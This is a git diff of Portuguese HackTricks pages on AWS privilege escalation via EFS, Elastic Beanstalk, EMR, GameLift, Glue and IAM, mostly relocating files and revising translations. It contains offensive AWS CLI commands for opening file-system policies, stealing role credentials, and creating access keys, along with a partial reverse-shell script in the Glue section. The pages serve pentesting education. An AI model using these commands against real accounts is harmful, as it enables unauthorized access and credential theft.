--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-efs-privesc.md
+++ /dev/null
@@ -1,86 +0,0 @@
-# AWS - EFS Privesc
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## EFS
-
-Mais **informações sobre EFS** em:
-
-{{#ref}}
-../aws-services/aws-efs-enum.md
-{{#endref}}
-
-Lembre-se de que, para montar um EFS, você precisa estar em uma sub-rede onde o EFS está exposto e ter acesso a ele (grupos de segurança). Se isso estiver acontecendo, por padrão, você sempre poderá montá-lo; no entanto, se estiver protegido por políticas IAM, você precisará das permissões extras mencionadas aqui para acessá-lo.
-
-### `elasticfilesystem:DeleteFileSystemPolicy`|`elasticfilesystem:PutFileSystemPolicy`
-
-Com qualquer uma dessas permissões, um atacante pode **alterar a política do sistema de arquivos** para **dar acesso** a ele ou apenas **deletá-lo** para que o **acesso padrão** seja concedido.
-
-Para deletar a política:
-```bash
-aws efs delete-file-system-policy \
---file-system-id <value>
-```
-Para mudar isso:
-```json
-aws efs put-file-system-policy --file-system-id <fs-id> --policy file:///tmp/policy.json
-
-// Give everyone trying to mount it read, write and root access
-// policy.json:
-{
-"Version": "2012-10-17",
-"Id": "efs-policy-wizard-059944c6-35e7-4ba0-8e40-6f05302d5763",
-"Statement": [
-{
-"Sid": "efs-statement-2161b2bd-7c59-49d7-9fee-6ea8903e6603",
-"Effect": "Allow",
-"Principal": {
-"AWS": "*"
-},
-"Action": [
-"elasticfilesystem:ClientRootAccess",
-"elasticfilesystem:ClientWrite",
-"elasticfilesystem:ClientMount"
-],
-"Condition": {
-"Bool": {
-"elasticfilesystem:AccessedViaMountTarget": "true"
-}
-}
-}
-]
-}
-```
-### `elasticfilesystem:ClientMount|(elasticfilesystem:ClientRootAccess)|(elasticfilesystem:ClientWrite)`
-
-Com essa permissão, um atacante poderá **montar o EFS**. Se a permissão de escrita não for concedida por padrão a todos que podem montar o EFS, ele terá apenas **acesso de leitura**.
-```bash
-sudo mkdir /efs
-sudo mount -t efs -o tls,iam  <file-system-id/EFS DNS name>:/ /efs/
-```
-As permissões extras `elasticfilesystem:ClientRootAccess` e `elasticfilesystem:ClientWrite` podem ser usadas para **escrever** dentro do sistema de arquivos após ele ser montado e para **acessar** esse sistema de arquivos **como root**.
-
-**Impacto Potencial:** Privesc indireto ao localizar informações sensíveis no sistema de arquivos.
-
-### `elasticfilesystem:CreateMountTarget`
-
-Se um atacante estiver dentro de uma **sub-rede** onde **nenhum ponto de montagem** do EFS existe. Ele poderia simplesmente **criar um em sua sub-rede** com esse privilégio:
-```bash
-# You need to indicate security groups that will grant the user access to port 2049
-aws efs create-mount-target --file-system-id <fs-id> \
---subnet-id <value> \
---security-groups <value>
-```
-**Impacto Potencial:** Privesc indireto ao localizar informações sensíveis no sistema de arquivos.
-
-### `elasticfilesystem:ModifyMountTargetSecurityGroups`
-
-Em um cenário onde um atacante descobre que o EFS tem um alvo de montagem em sua sub-rede, mas **nenhum grupo de segurança está permitindo o tráfego**, ele poderia **simplesmente mudar isso modificando os grupos de segurança selecionados**:
-```bash
-aws efs modify-mount-target-security-groups \
---mount-target-id <value> \
---security-groups <value>
-```
-**Impacto Potencial:** privesc indireto ao localizar informações sensíveis no sistema de arquivos.
-
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-efs-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-efs-privesc/README.md
new file mode 100644
index 000000000..4ac13aa07
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-efs-privesc/README.md
@@ -0,0 +1,86 @@
+# AWS - EFS Privesc
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## EFS
+
+Mais **informações sobre EFS** em:
+
+{{#ref}}
+../../aws-services/aws-efs-enum.md
+{{#endref}}
+
+Lembre-se que, para montar um EFS, você precisa estar em uma sub-rede onde o EFS esteja exposto e ter acesso a ele (grupos de segurança). Se isso estiver acontecendo, por padrão, você sempre poderá montá-lo; no entanto, se estiver protegido por políticas IAM, você precisa ter as permissões extras mencionadas aqui para acessá-lo.
+
+### `elasticfilesystem:DeleteFileSystemPolicy`|`elasticfilesystem:PutFileSystemPolicy`
+
+Com qualquer uma dessas permissões um atacante pode **alterar a política do sistema de arquivos** para **conceder acesso** a ele, ou simplesmente **excluí-la** para que o **acesso padrão** seja concedido.
+
+Para deletar a política:
+```bash
+aws efs delete-file-system-policy \
+--file-system-id <value>
+```
+Para alterá-lo:
+```json
+aws efs put-file-system-policy --file-system-id <fs-id> --policy file:///tmp/policy.json
+
+// Give everyone trying to mount it read, write and root access
+// policy.json:
+{
+"Version": "2012-10-17",
+"Id": "efs-policy-wizard-059944c6-35e7-4ba0-8e40-6f05302d5763",
+"Statement": [
+{
+"Sid": "efs-statement-2161b2bd-7c59-49d7-9fee-6ea8903e6603",
+"Effect": "Allow",
+"Principal": {
+"AWS": "*"
+},
+"Action": [
+"elasticfilesystem:ClientRootAccess",
+"elasticfilesystem:ClientWrite",
+"elasticfilesystem:ClientMount"
+],
+"Condition": {
+"Bool": {
+"elasticfilesystem:AccessedViaMountTarget": "true"
+}
+}
+}
+]
+}
+```
+### `elasticfilesystem:ClientMount|(elasticfilesystem:ClientRootAccess)|(elasticfilesystem:ClientWrite)`
+
+Com essa permissão, um atacante poderá **mount the EFS**. Se a **write permission** não for concedida por padrão a todos que podem montar o EFS, ele terá apenas **read access**.
+```bash
+sudo mkdir /efs
+sudo mount -t efs -o tls,iam  <file-system-id/EFS DNS name>:/ /efs/
+```
+As permissões adicionais `elasticfilesystem:ClientRootAccess` e `elasticfilesystem:ClientWrite` podem ser usadas para **escrever** dentro do sistema de arquivos após ele ser montado e para **acessar** esse sistema de arquivos **como root**.
+
+**Impacto Potencial:** privesc indireta ao localizar informações sensíveis no sistema de arquivos.
+
+### `elasticfilesystem:CreateMountTarget`
+
+Se um atacante estiver dentro de uma **subnetwork** onde **nenhum mount target** do EFS exista, ele poderia simplesmente **criar um na sua subnet** com essa permissão:
+```bash
+# You need to indicate security groups that will grant the user access to port 2049
+aws efs create-mount-target --file-system-id <fs-id> \
+--subnet-id <value> \
+--security-groups <value>
+```
+**Impacto Potencial:** privesc indireta ao localizar informações sensíveis no sistema de arquivos.
+
+### `elasticfilesystem:ModifyMountTargetSecurityGroups`
+
+Em um cenário onde um atacante descobre que o EFS tem um mount target na sua sub-rede, mas **nenhum security group está permitindo o tráfego**, ele poderia simplesmente **alterar isso modificando os security groups selecionados**:
+```bash
+aws efs modify-mount-target-security-groups \
+--mount-target-id <value> \
+--security-groups <value>
+```
+**Impacto Potencial:** Indirect privesc ao localizar informações sensíveis no sistema de arquivos.
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-elastic-beanstalk-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-elastic-beanstalk-privesc/README.md
similarity index 68%
rename from src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-elastic-beanstalk-privesc.md
rename to src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-elastic-beanstalk-privesc/README.md
index 75e2dfacf..3c44a70d3 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-elastic-beanstalk-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-elastic-beanstalk-privesc/README.md
@@ -1,21 +1,21 @@
 # AWS - Elastic Beanstalk Privesc
 
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}
 
 ## Elastic Beanstalk
 
-Mais **informações sobre o Elastic Beanstalk** em:
+Mais **info sobre Elastic Beanstalk** em:
 
 {{#ref}}
-../aws-services/aws-elastic-beanstalk-enum.md
+../../aws-services/aws-elastic-beanstalk-enum.md
 {{#endref}}
 
 > [!WARNING]
-> Para realizar ações sensíveis no Beanstalk, você precisará ter **muitas permissões sensíveis em muitos serviços diferentes**. Você pode verificar, por exemplo, as permissões concedidas a **`arn:aws:iam::aws:policy/AdministratorAccess-AWSElasticBeanstalk`**
+> Para realizar ações sensíveis no Beanstalk você precisará ter **muitas permissões sensíveis em vários serviços diferentes**. Você pode verificar, por exemplo, as permissões atribuídas a **`arn:aws:iam::aws:policy/AdministratorAccess-AWSElasticBeanstalk`**
 
-### `elasticbeanstalk:RebuildEnvironment`, permissões de escrita no S3 e muitas outras
+### `elasticbeanstalk:RebuildEnvironment`, permissões de escrita em S3 & muitos outros
 
-Com **permissões de escrita sobre o bucket S3** que
+Com **permissões de escrita sobre o bucket S3** que contém o **código** do ambiente e permissões para **reconstruir** a aplicação (é necessário `elasticbeanstalk:RebuildEnvironment` e mais algumas relacionadas a `S3`, `EC2` e `Cloudformation`), você pode **modificar** o **código**, **reconstruir** a aplicação e, na próxima vez que acessar a aplicação, ela irá **executar seu novo código**, permitindo que o atacante comprometa a aplicação e as credenciais do role do IAM.
 ```bash
 # Create folder
 mkdir elasticbeanstalk-eu-west-1-947247140022
@@ -32,37 +32,37 @@ aws elasticbeanstalk rebuild-environment --environment-name "env-name"
 ```
 ### `elasticbeanstalk:CreateApplication`, `elasticbeanstalk:CreateEnvironment`, `elasticbeanstalk:CreateApplicationVersion`, `elasticbeanstalk:UpdateEnvironment`, `iam:PassRole`, e mais...
 
-Os mencionados, além de várias permissões de **`S3`**, **`EC2`, `cloudformation`**, **`autoscaling`** e **`elasticloadbalancing`**, são necessários para criar um cenário básico do Elastic Beanstalk do zero.
+As permissões mencionadas, além de várias **`S3`**, **`EC2`, `cloudformation`**, **`autoscaling`** e **`elasticloadbalancing`**, são necessárias para criar um cenário básico do Elastic Beanstalk a partir do zero.
 
 - Criar uma aplicação AWS Elastic Beanstalk:
 ```bash
 aws elasticbeanstalk create-application --application-name MyApp
 ```
-- Crie um ambiente AWS Elastic Beanstalk ([**plataformas suportadas**](https://docs.aws.amazon.com/elasticbeanstalk/latest/platforms/platforms-supported.html#platforms-supported.python)):
+- Crie um ambiente AWS Elastic Beanstalk ([**supported platforms**](https://docs.aws.amazon.com/elasticbeanstalk/latest/platforms/platforms-supported.html#platforms-supported.python)):
 ```bash
 aws elasticbeanstalk create-environment --application-name MyApp --environment-name MyEnv --solution-stack-name "64bit Amazon Linux 2 v3.4.2 running Python 3.8" --option-settings Namespace=aws:autoscaling:launchconfiguration,OptionName=IamInstanceProfile,Value=aws-elasticbeanstalk-ec2-role
 ```
 Se um ambiente já foi criado e você **não quer criar um novo**, você pode apenas **atualizar** o existente.
 
-- Empacote seu código de aplicação e dependências em um arquivo ZIP:
+- Empacote o código da sua aplicação e as dependências em um arquivo ZIP:
 ```python
 zip -r MyApp.zip .
 ```
-- Faça o upload do arquivo ZIP para um bucket S3:
+- Upload o arquivo ZIP para um bucket S3:
 ```python
 aws s3 cp MyApp.zip s3://elasticbeanstalk-<region>-<accId>/MyApp.zip
 ```
-- Crie uma versão de aplicativo AWS Elastic Beanstalk:
+- Criar uma versão de aplicação no AWS Elastic Beanstalk:
 ```css
 aws elasticbeanstalk create-application-version --application-name MyApp --version-label MyApp-1.0 --source-bundle S3Bucket="elasticbeanstalk-<region>-<accId>",S3Key="MyApp.zip"
 ```
-- Implemente a versão do aplicativo no seu ambiente AWS Elastic Beanstalk:
+- Implante a versão da aplicação no seu ambiente AWS Elastic Beanstalk:
 ```bash
 aws elasticbeanstalk update-environment --environment-name MyEnv --version-label MyApp-1.0
 ```
 ### `elasticbeanstalk:CreateApplicationVersion`, `elasticbeanstalk:UpdateEnvironment`, `cloudformation:GetTemplate`, `cloudformation:DescribeStackResources`, `cloudformation:DescribeStackResource`, `autoscaling:DescribeAutoScalingGroups`, `autoscaling:SuspendProcesses`, `autoscaling:SuspendProcesses`
 
-Primeiramente, você precisa criar um **ambiente Beanstalk legítimo** com o **código** que você gostaria de executar na **vítima**, seguindo os **passos anteriores**. Potencialmente, um simples **zip** contendo esses **2 arquivos**:
+Primeiro você precisa criar um **ambiente Beanstalk legítimo** com o **code** que você gostaria de executar no **victim**, seguindo os **passos anteriores**. Possivelmente um simples **zip** contendo estes **2 arquivos**:
 
 {{#tabs }}
 {{#tab name="application.py" }}
@@ -111,7 +111,7 @@ Werkzeug==1.0.1
 {{#endtab }}
 {{#endtabs }}
 
-Uma vez que você tenha **seu próprio ambiente Beanstalk rodando** seu rev shell, é hora de **migrá-lo** para o ambiente da **vítima**. Para isso, você precisa **atualizar a Política do Bucket** do seu bucket S3 do Beanstalk para que a **vítima possa acessá-lo** (Note que isso irá **abrir** o Bucket para **TODOS**):
+Uma vez que você tenha **your own Beanstalk env running** your rev shell, é hora de **migrate** para o **victims** env. Para isso você precisa **update the Bucket Policy** do seu beanstalk S3 bucket para que o **victim can access it** (Note that this will **open** the Bucket to **EVERYONE**):
 ```json
 {
 "Version": "2008-10-17",
@@ -162,4 +162,4 @@ Alternatively, [MaliciousBeanstalk](https://github.com/fr4nk3nst1ner/MaliciousBe
 
 The developer has intentions to establish a reverse shell using Netcat or Socat with next steps to keep exploitation contained to the ec2 instance to avoid detections.
 ```
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-emr-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-emr-privesc.md
deleted file mode 100644
index 5fdbc9830..000000000
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-emr-privesc.md
+++ /dev/null
@@ -1,62 +0,0 @@
-# AWS - EMR Privesc
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## EMR
-
-Mais **informações sobre EMR** em:
-
-{{#ref}}
-../aws-services/aws-emr-enum.md
-{{#endref}}
-
-### `iam:PassRole`, `elasticmapreduce:RunJobFlow`
-
-Um atacante com essas permissões pode **executar um novo cluster EMR anexando funções EC2** e tentar roubar suas credenciais.\
-Observe que, para fazer isso, você precisaria **conhecer alguma chave priv ssh importada na conta** ou importar uma, e ser capaz de **abrir a porta 22 no nó mestre** (você pode ser capaz de fazer isso com os atributos `EmrManagedMasterSecurityGroup` e/ou `ServiceAccessSecurityGroup` dentro de `--ec2-attributes`).
-```bash
-# Import EC2 ssh key (you will need extra permissions for this)
-ssh-keygen -b 2048 -t rsa -f /tmp/sshkey -q -N ""
-chmod 400 /tmp/sshkey
-base64 /tmp/sshkey.pub > /tmp/pub.key
-aws ec2 import-key-pair \
---key-name "privesc" \
---public-key-material file:///tmp/pub.key
-
-
-aws emr create-cluster \
---release-label emr-5.15.0 \
---instance-type m4.large \
---instance-count 1 \
---service-role EMR_DefaultRole \
---ec2-attributes InstanceProfile=EMR_EC2_DefaultRole,KeyName=privesc
-
-# Wait 1min and connect via ssh to an EC2 instance of the cluster)
-aws emr describe-cluster --cluster-id <id>
-# In MasterPublicDnsName you can find the DNS to connect to the master instance
-## You cna also get this info listing EC2 instances
-```
-Note como um **papel EMR** é especificado em `--service-role` e um **papel ec2** é especificado em `--ec2-attributes` dentro de `InstanceProfile`. No entanto, essa técnica só permite roubar as credenciais do papel EC2 (já que você se conectará via ssh), mas não o Papel IAM EMR.
-
-**Impacto Potencial:** Privesc para o papel de serviço EC2 especificado.
-
-### `elasticmapreduce:CreateEditor`, `iam:ListRoles`, `elasticmapreduce:ListClusters`, `iam:PassRole`, `elasticmapreduce:DescribeEditor`, `elasticmapreduce:OpenEditorInConsole`
-
-Com essas permissões, um atacante pode acessar a **AWS console**, criar um Notebook e acessá-lo para roubar o Papel IAM.
-
-> [!CAUTION]
-> Mesmo que você anexe um papel IAM à instância do notebook, em meus testes, percebi que consegui roubar credenciais gerenciadas pela AWS e não credenciais relacionadas ao papel IAM.
-
-**Impacto Potencial:** Privesc para o papel gerenciado pela AWS arn:aws:iam::420254708011:instance-profile/prod-EditorInstanceProfile
-
-### `elasticmapreduce:OpenEditorInConsole`
-
-Apenas com essa permissão, um atacante poderá acessar o **Jupyter Notebook e roubar o papel IAM** associado a ele.\
-A URL do notebook é `https://<notebook-id>.emrnotebooks-prod.eu-west-1.amazonaws.com/<notebook-id>/lab/`
-
-> [!CAUTION]
-> Mesmo que você anexe um papel IAM à instância do notebook, em meus testes, percebi que consegui roubar credenciais gerenciadas pela AWS e não credenciais relacionadas ao papel IAM.
-
-**Impacto Potencial:** Privesc para o papel gerenciado pela AWS arn:aws:iam::420254708011:instance-profile/prod-EditorInstanceProfile
-
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-emr-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-emr-privesc/README.md
new file mode 100644
index 000000000..6222b6f63
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-emr-privesc/README.md
@@ -0,0 +1,62 @@
+# AWS - EMR Privesc
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## EMR
+
+Mais **informações sobre EMR** em:
+
+{{#ref}}
+../../aws-services/aws-emr-enum.md
+{{#endref}}
+
+### `iam:PassRole`, `elasticmapreduce:RunJobFlow`
+
+Um atacante com essas permissões pode **executar um novo cluster EMR anexando roles do EC2** e tentar roubar suas credenciais.\
+Observe que, para fazer isso, seria necessário **conhecer alguma ssh priv key importada na conta** ou importar uma, e ser capaz de **abrir a porta 22 no master node** (você pode conseguir isso com os atributos `EmrManagedMasterSecurityGroup` e/ou `ServiceAccessSecurityGroup` dentro de `--ec2-attributes`).
+```bash
+# Import EC2 ssh key (you will need extra permissions for this)
+ssh-keygen -b 2048 -t rsa -f /tmp/sshkey -q -N ""
+chmod 400 /tmp/sshkey
+base64 /tmp/sshkey.pub > /tmp/pub.key
+aws ec2 import-key-pair \
+--key-name "privesc" \
+--public-key-material file:///tmp/pub.key
+
+
+aws emr create-cluster \
+--release-label emr-5.15.0 \
+--instance-type m4.large \
+--instance-count 1 \
+--service-role EMR_DefaultRole \
+--ec2-attributes InstanceProfile=EMR_EC2_DefaultRole,KeyName=privesc
+
+# Wait 1min and connect via ssh to an EC2 instance of the cluster)
+aws emr describe-cluster --cluster-id <id>
+# In MasterPublicDnsName you can find the DNS to connect to the master instance
+## You cna also get this info listing EC2 instances
+```
+Note how an **EMR role** is specified in `--service-role` and a **ec2 role** is specified in `--ec2-attributes` inside `InstanceProfile`. However, this technique only allows to steal the EC2 role credentials (as you will connect via ssh) but no the EMR IAM Role.
+
+**Impacto Potencial:** Privesc para o EC2 service role especificado.
+
+### `elasticmapreduce:CreateEditor`, `iam:ListRoles`, `elasticmapreduce:ListClusters`, `iam:PassRole`, `elasticmapreduce:DescribeEditor`, `elasticmapreduce:OpenEditorInConsole`
+
+Com essas permissões um atacante pode ir ao **AWS console**, criar um Notebook e acessá-lo para roubar o IAM Role.
+
+> [!CAUTION]
+> Mesmo que você anexe um IAM role à notebook instance, em meus testes notei que consegui roubar AWS managed credentials e não as creds relacionadas ao IAM role.
+
+**Impacto Potencial:** Privesc para AWS managed role arn:aws:iam::420254708011:instance-profile/prod-EditorInstanceProfile
+
+### `elasticmapreduce:OpenEditorInConsole`
+
+Apenas com essa permissão um atacante será capaz de acessar o **Jupyter Notebook e roubar o IAM role** associado a ele.\
+A URL do notebook é `https://<notebook-id>.emrnotebooks-prod.eu-west-1.amazonaws.com/<notebook-id>/lab/`
+
+> [!CAUTION]
+> Mesmo que você anexe um IAM role à notebook instance, em meus testes notei que consegui roubar AWS managed credentials e não as creds relacionadas ao IAM role
+
+**Impacto Potencial:** Privesc para AWS managed role arn:aws:iam::420254708011:instance-profile/prod-EditorInstanceProfile
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-gamelift.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-gamelift.md
deleted file mode 100644
index 6bb4600f3..000000000
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-gamelift.md
+++ /dev/null
@@ -1,16 +0,0 @@
-# AWS - Gamelift
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-### `gamelift:RequestUploadCredentials`
-
-Com esta permissão, um atacante pode recuperar um **novo conjunto de credenciais para uso ao fazer upload** de um novo conjunto de arquivos de build de jogo para o Amazon GameLift's Amazon S3. Ele retornará **credenciais de upload do S3**.
-```bash
-aws gamelift request-upload-credentials \
---build-id build-a1b2c3d4-5678-90ab-cdef-EXAMPLE11111
-```
-## Referências
-
-- [https://gist.github.com/kmcquade/33860a617e651104d243c324ddf7992a](https://gist.github.com/kmcquade/33860a617e651104d243c324ddf7992a)
-
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-gamelift/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-gamelift/README.md
new file mode 100644
index 000000000..a146c5e16
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-gamelift/README.md
@@ -0,0 +1,16 @@
+# AWS - Gamelift
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+### `gamelift:RequestUploadCredentials`
+
+Com esta permissão, um atacante pode recuperar um **conjunto novo de credenciais para uso ao enviar** um novo conjunto de arquivos de build do jogo para o Amazon S3 do Amazon GameLift. Retornará **credenciais de upload do S3**.
+```bash
+aws gamelift request-upload-credentials \
+--build-id build-a1b2c3d4-5678-90ab-cdef-EXAMPLE11111
+```
+## Referências
+
+- [https://gist.github.com/kmcquade/33860a617e651104d243c324ddf7992a](https://gist.github.com/kmcquade/33860a617e651104d243c324ddf7992a)
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-glue-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-glue-privesc/README.md
similarity index 55%
rename from src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-glue-privesc.md
rename to src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-glue-privesc/README.md
index a52031146..d88de5f74 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-glue-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-glue-privesc/README.md
@@ -1,14 +1,14 @@
 # AWS - Glue Privesc
 
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}
 
 ## glue
 
 ### `iam:PassRole`, `glue:CreateDevEndpoint`, (`glue:GetDevEndpoint` | `glue:GetDevEndpoints`)
 
-Usuários com essas permissões podem **configurar um novo ponto de extremidade de desenvolvimento do AWS Glue**, **atribuindo um papel de serviço existente que pode ser assumido pelo Glue** com permissões específicas a este ponto de extremidade.
+Usuários com essas permissões podem **criar um novo development endpoint do AWS Glue**, **atribuir a esse endpoint uma service role existente que possa ser assumida pelo Glue** com permissões específicas.
 
-Após a configuração, o **atacante pode SSH na instância do ponto de extremidade**, e roubar as credenciais IAM do papel atribuído:
+Após a configuração, o **atacante pode fazer SSH na instância do endpoint**, e roubar as credenciais IAM da role atribuída:
 ```bash
 # Create endpoint
 aws glue create-dev-endpoint --endpoint-name <endpoint-name> \
@@ -22,13 +22,13 @@ aws glue get-dev-endpoint --endpoint-name privesctest
 # SSH with the glue user
 ssh -i /tmp/private.key ec2-54-72-118-58.eu-west-1.compute.amazonaws.com
 ```
-Para fins de furtividade, é recomendável usar as credenciais IAM de dentro da máquina virtual Glue.
+Para fins de furtividade, recomenda-se usar as credenciais IAM de dentro da máquina virtual do Glue.
 
-**Impacto Potencial:** Privesc para o papel de serviço glue especificado.
+**Impacto Potencial:** Privesc para a role de serviço do Glue especificada.
 
 ### `glue:UpdateDevEndpoint`, (`glue:GetDevEndpoint` | `glue:GetDevEndpoints`)
 
-Usuários com esta permissão podem **alterar a chave SSH de um endpoint de desenvolvimento Glue** existente, **habilitando o acesso SSH a ele**. Isso permite que o atacante execute comandos com os privilégios do papel anexado ao endpoint:
+Usuários com essa permissão podem **alterar a chave SSH de um endpoint de desenvolvimento do Glue existente**, **permitindo acesso SSH a ele**. Isso permite que o atacante execute comandos com os privilégios da role anexada ao endpoint:
 ```bash
 # Change public key to connect
 aws glue --endpoint-name target_endpoint \
@@ -41,11 +41,11 @@ aws glue get-dev-endpoint --endpoint-name privesctest
 # SSH with the glue user
 ssh -i /tmp/private.key ec2-54-72-118-58.eu-west-1.compute.amazonaws.com
 ```
-**Impacto Potencial:** Privesc para o papel de serviço do Glue utilizado.
+**Impacto Potencial:** Privesc para a função de serviço do glue usada.
 
 ### `iam:PassRole`, (`glue:CreateJob` | `glue:UpdateJob`), (`glue:StartJobRun` | `glue:CreateTrigger`)
 
-Usuários com **`iam:PassRole`** combinado com **`glue:CreateJob` ou `glue:UpdateJob`**, e **`glue:StartJobRun` ou `glue:CreateTrigger`** podem **criar ou atualizar um trabalho do AWS Glue**, anexando qualquer **conta de serviço do Glue**, e iniciar a execução do trabalho. As capacidades do trabalho incluem a execução de código Python arbitrário, que pode ser explorado para estabelecer um shell reverso. Esse shell reverso pode então ser utilizado para exfiltrar as **credenciais IAM** do papel anexado ao trabalho do Glue, levando a um potencial acesso ou ações não autorizadas com base nas permissões desse papel:
+Usuários com **`iam:PassRole`** combinado com qualquer uma de **`glue:CreateJob` ou `glue:UpdateJob`**, e qualquer uma de **`glue:StartJobRun` ou `glue:CreateTrigger`** podem **criar ou atualizar um job do AWS Glue**, anexando qualquer **conta de serviço do Glue**, e iniciar a execução do job. As capacidades do job incluem executar código Python arbitrário, o que pode ser explorado para estabelecer uma reverse shell. Essa reverse shell pode então ser utilizada para exfiltrar as **IAM credential**s da role anexada ao job do Glue, levando a acesso não autorizado ou ações com base nas permissões dessa role:
 ```bash
 # Content of the python script saved in s3:
 #import socket,subprocess,os
@@ -71,16 +71,16 @@ aws glue create-trigger --name triggerprivesc --type SCHEDULED \
 --actions '[{"JobName": "privesctest"}]' --start-on-creation \
 --schedule "0/5 * * * * *"  #Every 5mins, feel free to change
 ```
-**Impacto Potencial:** Privesc para o papel de serviço glue especificado.
+**Impacto Potencial:** Privesc para o role de serviço glue especificado.
 
 ### `glue:UpdateJob`
 
-Apenas com a permissão de atualização, um atacante poderia roubar as Credenciais IAM do papel já anexado.
+Apenas com a permissão update, um atacante poderia roubar as IAM Credentials do role já anexado.
 
-**Impacto Potencial:** Privesc para o papel de serviço glue anexado.
+**Impacto Potencial:** Privesc para o role de serviço glue anexado.
 
 ## Referências
 
 - [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/)
 
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md
similarity index 55%
rename from src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc.md
rename to src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md
index 49b65d2d9..dbf12b754 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md
@@ -1,49 +1,49 @@
 # AWS - IAM Privesc
 
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}
 
 ## IAM
 
-Para mais informações sobre IAM, consulte:
+Para mais informações sobre o IAM, consulte:
 
 {{#ref}}
-../aws-services/aws-iam-enum.md
+../../aws-services/aws-iam-enum.md
 {{#endref}}
 
 ### **`iam:CreatePolicyVersion`**
 
-Concede a capacidade de criar uma nova versão de política IAM, contornando a necessidade de permissão `iam:SetDefaultPolicyVersion` usando a flag `--set-as-default`. Isso permite definir permissões personalizadas.
+Concede a capacidade de criar uma nova versão de política do IAM, contornando a necessidade da permissão `iam:SetDefaultPolicyVersion` ao usar a flag `--set-as-default`. Isso permite definir permissões personalizadas.
 
-**Comando de Exploração:**
+**Exploit Command:**
 ```bash
 aws iam create-policy-version --policy-arn <target_policy_arn> \
 --policy-document file:///path/to/administrator/policy.json --set-as-default
 ```
-**Impacto:** Escalona diretamente privilégios ao permitir qualquer ação em qualquer recurso.
+**Impacto:** Escala privilégios diretamente ao permitir qualquer ação em qualquer recurso.
 
 ### **`iam:SetDefaultPolicyVersion`**
 
-Permite alterar a versão padrão de uma política IAM para outra versão existente, potencialmente escalonando privilégios se a nova versão tiver mais permissões.
+Permite alterar a versão padrão de uma IAM policy para outra versão existente, potencialmente escalando privilégios se a nova versão conceder mais permissões.
 
 **Comando Bash:**
 ```bash
 aws iam set-default-policy-version --policy-arn <target_policy_arn> --version-id v2
 ```
-**Impacto:** Escalada de privilégios indireta ao habilitar mais permissões.
+**Impacto:** Indirect privilege escalation by enabling more permissions.
 
 ### **`iam:CreateAccessKey`**
 
-Permite criar um ID de chave de acesso e uma chave de acesso secreta para outro usuário, levando a uma potencial escalada de privilégios.
+Permite a criação de access key ID e secret access key para outro usuário, podendo levar a privilege escalation.
 
 **Exploit:**
 ```bash
 aws iam create-access-key --user-name <target_user>
 ```
-**Impacto:** Escalada de privilégios direta ao assumir as permissões estendidas de outro usuário.
+**Impacto:** Escalada direta de privilégios ao assumir as permissões estendidas de outro usuário.
 
 ### **`iam:CreateLoginProfile` | `iam:UpdateLoginProfile`**
 
-Permite criar ou atualizar um perfil de login, incluindo a definição de senhas para login no console AWS, levando a uma escalada de privilégios direta.
+Permite criar ou atualizar um login profile, incluindo definir senhas para o login do console da AWS, levando à escalada direta de privilégios.
 
